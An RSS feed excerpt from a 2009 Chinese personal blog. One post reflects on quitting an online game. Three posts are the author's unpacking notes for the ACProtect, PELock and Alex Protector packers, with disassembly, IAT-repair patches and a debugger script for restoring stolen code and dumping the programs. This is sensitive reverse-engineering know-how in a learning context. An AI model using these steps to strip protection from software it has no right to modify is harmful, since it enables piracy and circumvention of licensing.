    <content:encoded><![CDATA[也许是从5月中旬开始吧.又一次由于无事可做转向了网络游戏. 是剑侠2外传.算是金山推出的新游戏吧.依我看只不过把剑侠2改简单了点,游戏内容基本还是一样的.<br>      不过这游戏里的金子真的很难赚,而前期做任务只给经验不给金子,致使我只好申请一个贵宾号.做任务到70级以后我便觉得开始无聊了.每天好象为了游戏而活着.<br>      每天早上10点的行脚商人------12点的龙舟或夺宝骑兵-------14点的小战场--------18点的杀手--------19点的杀手堂-----20点的战场----21点后的比武.还有每天一次的TX,刷经验的CJ,每个星期的紫光和师们密室.  差不多有2个星期了,这些时间都拖着我,一到时间我就迫不及待的进入游戏.   仔细想一想这究竟是为了什么??每次游戏之后都是一种莫名的失落,升级快有什么好处,装备好又有什么值得骄傲?是想脱离现实的无奈在虚拟的世界里显示自己的强大吗? 可是游戏里也有游戏规则,要宣泄的话游戏里杀人也要坐牢,再不就是花RMB,一样的让你无奈,并且没有什么快乐可言.每天的公聊充斥着骂人的,做买卖的,调情的,搞骗术的言语,除了能消磨时间没有任何益处.而这些道理我早就明白,难道我仅仅就是为了消磨时间?<br>     我又一次的选择了放弃,希望不要再让我进入这种无聊的世界中.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=323]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-07-10T12:52:26Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=320">
    <title><![CDATA[自己记录2.......]]></title>
    <description><![CDATA[自己下的ACProtect v1.09g加壳玩下
加的是vc6.0的程序。peid查看是AntiCrack Protector 1.0x -> RISCO Software Inc.
OEP很好找。
代码段---PE段---代码段下内存访问断就到了。
不过到了后有点偷代码，好在偷的不多，顺便补上就可以了。
004016A2 68 D8504000 PUSH...]]></description>
    <content:encoded><![CDATA[自己下的ACProtect v1.09g加壳玩下<br>加的是vc6.0的程序。peid查看是AntiCrack Protector 1.0x -&gt; RISCO Software Inc.<br>OEP很好找。<br>代码段---PE段---代码段下内存访问断就到了。<br>不过到了后有点偷代码，好在偷的不多，顺便补上就可以了。<br>004016A2    68 D8504000          PUSH CrackMe.004050D8<br>004016A7    68 00274000          PUSH CrackMe.00402700<br>004016AC    64:A1 00000000       MOV EAX,DWORD PTR FS:[0]<br>004016B2    50                   PUSH EAX<br>004016B3    64:8925 00000000     MOV DWORD PTR FS:[0],ESP<br>004016BA    83EC 58              SUB ESP,58<br>004016BD    53                   PUSH EBX<br><br>可根据堆栈中的值来补代码。所补的代码如下<br>push ebp<br>mov ebp,esp<br>push -1<br><br><br>当然IAT也加密了。老方法，dd 405000 内存写入断<br>可以到这里/*4173D3*/  MOV DWORD PTR DS:[EDI],EAX<br><br>就是eax覆盖了。单步跟踪一下可以知道正确的iat是从这得到的<br>/*417319*/  CALL DWORD PTR SS:[EBP+41C268]   //这里得到的 这是GetProcaddress<br>/*41731F*/  CMP EBX,DWORD PTR SS:[EBP+404028]  //这里改为jmp 4173D3<br><br>那么把下面的改成jmp 4173D3应该是可行的。<br>那就试试吧<br>he 417319<br>改完到oep后记得把偷代码补上就可以dumpfix了。<br>完了后发现不能运行。原来还有code replace<br>0040F0FB  - FF25 04701500        JMP DWORD PTR DS:[157004]<br>0040F101  - FF25 08701500        JMP DWORD PTR DS:[157008]<br>0040F107  - FF25 0C701500        JMP DWORD PTR DS:[15700C]<br>0040F10D  - FF25 10701500        JMP DWORD PTR DS:[157010]<br>0040F113  - FF25 14701500        JMP DWORD PTR DS:[157014]<br>0040F119  - FF25 18701500        JMP DWORD PTR DS:[157018]<br>---------------------------------华丽的分割线--------------------------------------<br>code replace的修复。<br>进行到这时我本来已经懒得去修复了。想把157004的区段给补上，虽然是拙劣的方式，但对于我这个菜鸟，<br>我以为首先能脱壳后正常运行起来是主要的。<br>可这是个低于00400000的地址，直接补区段是不行的。我试过在刚载入程序时首先申请低于400000地址的方法。<br>无奈对于这个壳好象不是很管用。因为我发现他是用GolbalAlloc来申请内存的。<br>具体为什么不行我还未弄明白。<br>怎么办呢，硬着头皮来修复code replace吧，也好锻炼下自己。<br><br>我点进一个JMP DWORD PTR DS:[157004]看了下。<br>原来正确的代码在这<br>00157FA6    8B55 08              MOV EDX,DWORD PTR SS:[EBP+8]<br>00157FA9    33C9                 XOR ECX,ECX<br>00157FAB    C3                   RET<br><br>一共6个字节，中间并没有什么花指令。还算温柔了。<br>而0040F0FB这里的JMP DWORD PTR DS:[157004]也是6个字节。<br>我就想，如果能把0040F0FB处的6个字节替换成正确的字节码不就OK了吗？<br><br>思路通了就开始干吧。<br>对0040F0FB进行内存写入断点吧。<br>断到这里了<br>00411D8B    66:C707 FF25         MOV WORD PTR DS:[EDI],25FF<br>00411D90    8947 02              MOV DWORD PTR DS:[EDI+2],EAX<br>00411D93    83C7 06              ADD EDI,6<br>00411D96    83C0 04              ADD EAX,4<br>00411D99  ^ E2 F0                LOOPD SHORT CrackMe.00411D8B<br><br>ds:[edi]中的代码此时正被替换为JMP DWORD PTR DS:[157004]这个样子。<br>从MOV WORD PTR DS:[EDI],25FF这句可以明显看出来。<br><br>可ds:[edi]中现在是什么东西呢？<br>经过我分析，发现ds:[edi]中的代码xor 了0xe0就变成正确的机器码了。<br>从这里可以分析出来的。<br><br>/*411D5F*/  MOV ECX,1770<br>/*411D64*/  LODS BYTE PTR DS:[ESI]<br>/*411D65*/  XOR AL,BL<br>/*411D67*/  STOS BYTE PTR ES:[EDI]<br><br>那么这就好办了。开始patch代码。<br>00411D8B          MOV WORD PTR DS:[EDI],25FF<br>从这里开始。首先这句改为jmp 429669<br>也就是跳到一个无用的地方吧。<br>然后在下面写如下代码<br>xor byte ptr ds:[edi],bl<br>xor byte ptr ds:[edi+1],bl<br>xor byte ptr ds:[edi+2],bl<br>xor byte ptr ds:[edi+3],bl<br>xor byte ptr ds:[edi+4],bl<br>xor byte ptr ds:[edi+5],bl<br>jmp 00411D93     //最后再跳回来<br><br>好了，这样patch代码就完了。<br>重新来过，把按前面所说的跳过iat加密，patch下代码，再补上那偷掉了一点代码。<br>就可以dumpfix了。<br>当然，很顺利运行成功。<br><br>//后记<br>这个壳对于我这个初学者感到还是有挑战性的。不过我很高兴我能独立解决，没有看其他的教程。<br>这点我感到很欣慰。另外就是脱壳确实挺好玩的，不管是老壳还是新壳，在暂时找不到其他娱乐方式的时候找点<br>老壳脱脱也能带给自己快乐的。
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=320]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-05-02T20:10:39Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=319">
    <title><![CDATA[自己记录.........]]></title>
    <description><![CDATA[PELock 1.0x -> Bartosz Wojcik
oep

这个壳oep还不算难

就内存访问断点 或者最后一次异常后再内存断点都行.

只用内存访问断的话 要pe段 代码段来回的段个五六次就到了

到了OEP后
/*40C9A0*/ call 0040DAE8
/*40C9A5*/ jmp 00920D0D
/*40C9AA*/ mov eax,...]]></description>
    <content:encoded><![CDATA[PELock 1.0x -&gt; Bartosz Wojcik<br>oep<br><br>这个壳oep还不算难<br><br>就内存访问断点  或者最后一次异常后再内存断点都行.<br><br>只用内存访问断的话 要pe段 代码段来回的段个五六次就到了<br><br>到了OEP后<br>/*40C9A0*/  call    0040DAE8<br>/*40C9A5*/  jmp     00920D0D<br>/*40C9AA*/  mov     eax, edi<br>/*40C9AC*/  call    0040DC40<br><br>明显入口被偷了<br>这是堆栈<br>0012FFB0   00401D60<br>0012FFB4   00000060<br><br>那么入口处可以给补上<br>push 60<br>push 00401D60<br><br>补上后OEP为40c999<br><br>/////////////////////////////<br>不过IAT还是加密的<br>找到一个401000<br>dd 401000<br>00401000  003E0000  ASCII &quot;h&quot;,LF<br>00401004  003E0033<br>00401008  003E0084<br>0040100C  003E010B<br>00401010  003E015B<br>00401014  003E01B5<br>00401018  003E020B<br>0040101C  003E023E<br>00401020  003E026F<br>00401024  003E0281<br>00401028  003E02E5<br>0040102C  003E031F<br><br><br>确实加密了<br>下个内存断点看下吧<br>/*38444E*/  MOV DWORD PTR DS:[ECX],EbX<br><br>在这里给填充了<br>而此时的eax却是正确的iat，可以改为<br>MOV DWORD PTR DS:[ECX],EaX<br><br>可这样改会有crc校验  我也没找到校验在哪<br><br><br>就比猫画虎写了一点垃圾脚本 跑一下吧<br>tmp1:<br>          mov tmpreg, ebx<br>          mov ebx, eax<br>          sti<br>          mov ebx, tmpreg<br>          bprm 0038444e,1<br>          cmp eax,77d3b144<br>          run<br>          jnz tmp1<br>          mov ebx, tmpreg<br>          sti<br>          bprm 00384450,1<br><br>我这脚本是走到 MOV DWORD PTR DS:[ECX],EbX时才能运行的<br><br>cmp eax,77d3b144这里是最后一个函数的比较<br><br>处理完后IAT全部都正常了<br><br>可是还有一些jmp不知道怎么改<br><br>/*40C9A0*/  CALL 1.0040DAE8<br>/*40C9A5*/  JMP 003F0D0D   ////象这样的被替换的<br>/*40C9AA*/  MOV EAX,EDI<br>/*40C9AC*/  CALL 1.0040DC40<br>/*40C9B1*/  MOV DWORD PTR SS:[EBP-18],ESP<br>/*40C9B4*/  MOV ESI,ESP<br>/*40C9B6*/  MOV DWORD PTR DS:[ESI],EDI<br>/*40C9B8*/  PUSH ESI<br>/*40C9B9*/  JMP 003F0D25    ////象这样的被替换的<br><br>-------------------------------------------华丽的分割线--------------------------------------------------<br><br>补区段吧<br><br>由于地址3f00000低于基址400000  <br>避免壳申请的区段低于镜像基址的一个方法<br>有些壳申请的区域低于镜像基址，可以在运行前，先人为手动把镜像基址前的内存申请出来，这样壳就只能申请镜像基址以后的内存了。<br>下面是代码示例，本例中镜像基址为00400000，不同基址可修改相应数据实现。<br>00409C15    9C                      pushfd<br>00409C16    60                      pushad                            ; 上面这两句保存现场<br>00409C17    6A 04                   push    4<br>00409C19    68 00100000             push    1000<br>00409C1E    68 00100000             push    1000<br>00409C23    6A 00                   push    0<br>00409C25    E8 a945827C             call    kernel32.VirtualAlloc     ; 这5句是申请内存<br>00409C2A    3D 00003F00             cmp     eax, 3F0000               ; 比较有没有申请到程序的镜像基址处<br>00409C2F  ^ 75 E6                   jnz     short 00409C17            ; 没有就跳回去继续申请<br>00409C31    61                      popad<br>00409C32    9D                      popfd                             ; 恢复现场<br>00409C33    90                      nop                               ; 这里下个断点<br>00409C34    90                      nop<br><br>中断后，清除这些代码，把eip回到原来的位置，就可以了。<br>-------------------------------------------华丽的分割线--------------------------------------------------<br>到OEP，并且偷代码也处理好了后  如果有对代码的替换，那么一般来说可以用补区段的方法。<br><br>打开loadpe,<br><br>/*40C9A0*/  CALL 1.0040DAE8<br>/*40C9A5*/  JMP 00900D0D    //代码的替换<br>/*40C9AA*/  MOV EAX,EDI<br>/*40C9AC*/  CALL 1.0040DC40<br>/*40C9B1*/  MOV DWORD PTR SS:[EBP-18],ESP<br>/*40C9B4*/  MOV ESI,ESP<br>/*40C9B6*/  MOV DWORD PTR DS:[ESI],EDI<br>/*40C9B8*/  PUSH ESI<br>/*40C9B9*/  JMP 00900D25  //代码的替换<br><br><br>对00900d25所在的区段进行转存<br>然后用pe编辑器打开修复好但不能运行的dump_.exe。<br>点区段----&gt;右键--从磁盘载入段------&gt;编辑区段<br><br>把00900000-400000=500000添到虚拟地址那里<br>保存---确定<br>再点重键PE选择那个dump_.exe<br>这样就完成了。<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=319]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-24T20:34:39Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=318">
    <title><![CDATA[Alex Protector 1.0 beta2]]></title>
    <description><![CDATA[Alex Protector 1.0 beta2

这个壳又是俄罗斯人写的，并且非常老了吧。
我测试了下，好象只能加asm语言编写的程序，加其他的都不行，兼容性严重失败。

不过这个壳倒是有点意思，他有偷代码。
------------------------------华丽的分割线-----------------------...]]></description>
    <content:encoded><![CDATA[Alex Protector 1.0 beta2<br><br>这个壳又是俄罗斯人写的，并且非常老了吧。<br>我测试了下，好象只能加asm语言编写的程序，加其他的都不行，兼容性严重失败。<br><br>不过这个壳倒是有点意思，他有偷代码。<br>------------------------------华丽的分割线---------------------------------<br>OEP<br>首先在代码段下内存访问断点，F9后到达这里<br>/*404916*/  MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]<br>然后bp GetModuleHandleA 断下返回用户代码后<br>再在代码段下内存访问断可来到这<br>/*3B0C05*/  MOV DWORD PTR DS:[ECX],EAX<br>/*3B0C07*/  ADD EDI,4<br>/*3B0C0A*/  DEC BL<br>/*3B0C0C*/  POP EAX<br>/*3B0C0D*/  CMP BL,0<br>/*3B0C10*/  JA 003B0B58<br>/*3B0C16*/  CMP BYTE PTR DS:[EDI],0C3<br>/*3B0C19*/  JE 003B09C0<br>/*3B0C1F*/  CMP DWORD PTR DS:[EDI],0<br><br>然后一直往下拉 因为中间都是垃圾指令<br>到这<br>/*3B11DA*/  MOV EAX,DWORD PTR SS:[EBP+4023AD]<br>/*3B11E0*/  MOV DWORD PTR SS:[ESP+1C],EAX<br>/*3B11E4*/  POPAD<br>/*3B11E5*/  JMP EAX<br><br>删除内存断，在3b11e5处下断，shift+f9跳向OEP<br><br>不过跳过来后发现前面也都是垃圾指令。<br>中间就有一个 push 0<br>然后下面一个跨段跳转  可以知道这里肯定是把push 0给偷掉了<br>/*3D0C52*/  TEST EDI,874CDC1C<br>/*3D0C58*/  AND EDI,9378C643<br>/*3D0C5E*/  JMP 0006.0040110D<br><br>过了这个JMP后算真正来到代码里了，当然要把第一条指令push 0给补上。<br>-----------------------------华丽的分割线--------------------------------<br><br>到OEP还不算完事，因为它把IAT也弄的一团糟。<br><br><br>pacth代码吧<br>/*3B0C05*/  MOV DWORD PTR DS:[ECX],EAX<br>首先改为  jmp 3b1800<br><br><br>89 01 53 8B 58 38 89 18 5B 83 C7 04 E9 F9 F3 FF FF 90<br><br>/*3B1800*/  MOV DWORD PTR DS:[ECX],EAX<br>/*3B1802*/  PUSH EBX<br>/*3B1803*/  MOV EBX,DWORD PTR DS:[EAX+38]  //在偏移38处放的是正确API地址<br>/*3B1806*/  MOV DWORD PTR DS:[EAX],EBX<br>/*3B1808*/  POP EBX<br>/*3B1809*/  ADD EDI,4<br>/*3B180C*/  JMP 003B0C0A<br>/*3B1811*/  NOP<br><br>dump后  修复时用获取API调用 再新建个IAT 就OK了。<br><br>不过有时候会有一个api获取失败，那时侯再手动修复吧。我不想弄了。<br><br>反正脱主程序时没问题。
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=318]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-22T16:04:13Z</dc:date>
  </item>

      </rdf:Seq>
    </items>
  </channel>
</rdf:RDF>
